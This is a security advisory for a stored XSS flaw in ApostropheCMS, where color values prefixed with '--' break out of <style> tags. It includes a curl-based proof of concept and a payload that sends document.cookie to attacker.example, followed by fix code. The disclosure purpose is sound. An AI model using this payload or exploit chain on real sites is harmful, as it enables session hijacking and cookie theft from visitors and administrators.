ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context

Summary

The @apostrophecms/color-field module bypasses color validation for values prefixed with -- (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into <style> tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject </style> followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors.

Details

Root Cause 1: Validation bypass in color field (modules/@apostrophecms/color-field/index.js:36)

The color field's convert method uses TinyColor to validate color values, but exempts any value starting with --:

// modules/@apostrophecms/color-field/index.js:26-38
async convert(req, field, data, destination) {
  destination[field.name] = self.apos.launder.string(data[field.name]);
  // ...
  const test = new TinyColor(destination[field.name]);
  if (!test.isValid && !destination[field.name].startsWith('--')) {
    destination[field.name] = null;
  }
},

A value like --x: red}</style><script>alert(document.cookie)</script><style> passes validation because it starts with --. The launder.string() call performs type coercion only — it does not strip HTML metacharacters like <, >, or /.

Root Cause 2a: Unescaped rendering in widget styles (public path) (modules/@apostrophecms/styles/lib/methods.js:232-234)

The getWidgetElements() method concatenates the CSS string directly into a <style> tag:

// modules/@apostrophecms/styles/lib/methods.js:232-234
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  css +
  '\n</style>';

This is then marked as safe HTML via template.safe() in the helpers (modules/@apostrophecms/styles/lib/helpers.js:17-20), and rendered for all visitors on any page containing a styled widget (modules/@apostrophecms/widget-type/index.js:426-432).

Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (modules/@apostrophecms/template/index.js:1164-1165)

The renderNodes() function returns node.raw without escaping:

// modules/@apostrophecms/template/index.js:1164-1165
if (node.raw != null) {
  return node.raw;
}

Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can view-draft.

PoC

Prerequisites: An account with editor role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration.

Step 1: Authenticate and obtain a CSRF token and session cookie.

# Login as editor
COOKIE_JAR=$(mktemp)
curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"editor123"}'

# Extract CSRF token
CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4)

Step 2: Create or update a piece/page with a malicious color value in a styled widget.

The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a background-color style property):

# Inject XSS payload via color field in widget styles
# The --x prefix bypasses TinyColor validation
PAYLOAD='--x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>'

curl -s -b "$COOKIE_JAR" -X POST \
  "http://localhost:3000/api/v1/@apostrophecms/page" \
  -H "Content-Type: application/json" \
  -H "X-XSRF-TOKEN: $CSRF" \
  -d '{
    "slug": "/xss-test",
    "title": "Test Page",
    "type": "default-page",
    "main": {
      "items": [{
        "type": "some-widget",
        "styles": {
          "backgroundColor": "'"$PAYLOAD"'"
        }
      }]
    }
  }'

Step 3: Publish the page.

curl -s -b "$COOKIE_JAR" -X POST \
  "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \
  -H "X-XSRF-TOKEN: $CSRF"

Step 4: Any visitor navigates to the published page.

# As an unauthenticated visitor
curl -s http://localhost:3000/xss-test | grep -A2 'onerror'

Expected (safe): The color value is escaped or rejected.

Actual: The rendered HTML contains:

<style data-apos-widget-style-for="..." data-apos-widget-style-id="...">
.apos-widget-style-... { background-color: --x: red}</style><img src=x onerror="fetch(`https://attacker.example/steal?c=`+document.cookie)"><style>; }
</style>

The injected </style> closes the style tag, and the <img onerror> executes JavaScript in the visitor's browser.

Impact

• Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience.
• Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS.
• Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited.
• No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked.

Recommended Fix

Fix 1: Sanitize color values in the color field's convert method (modules/@apostrophecms/color-field/index.js):

// Before (line 36):
if (!test.isValid && !destination[field.name].startsWith('--')) {
  destination[field.name] = null;
}

// After:
if (!test.isValid && !destination[field.name].startsWith('--')) {
  destination[field.name] = null;
} else if (destination[field.name].startsWith('--')) {
  // CSS custom property names: only allow alphanumeric, hyphens, underscores
  if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) {
    destination[field.name] = null;
  }
}

Fix 2: Escape CSS output in getWidgetElements (modules/@apostrophecms/styles/lib/methods.js):

// Before (line 232-234):
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  css +
  '\n</style>';

// After:
const sanitizedCss = css.replace(/<\//g, '<\\/');
return `<style data-apos-widget-style-for="${widgetId}" data-apos-widget-style-id="${styleId}">\n` +
  sanitizedCss +
  '\n</style>';

Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).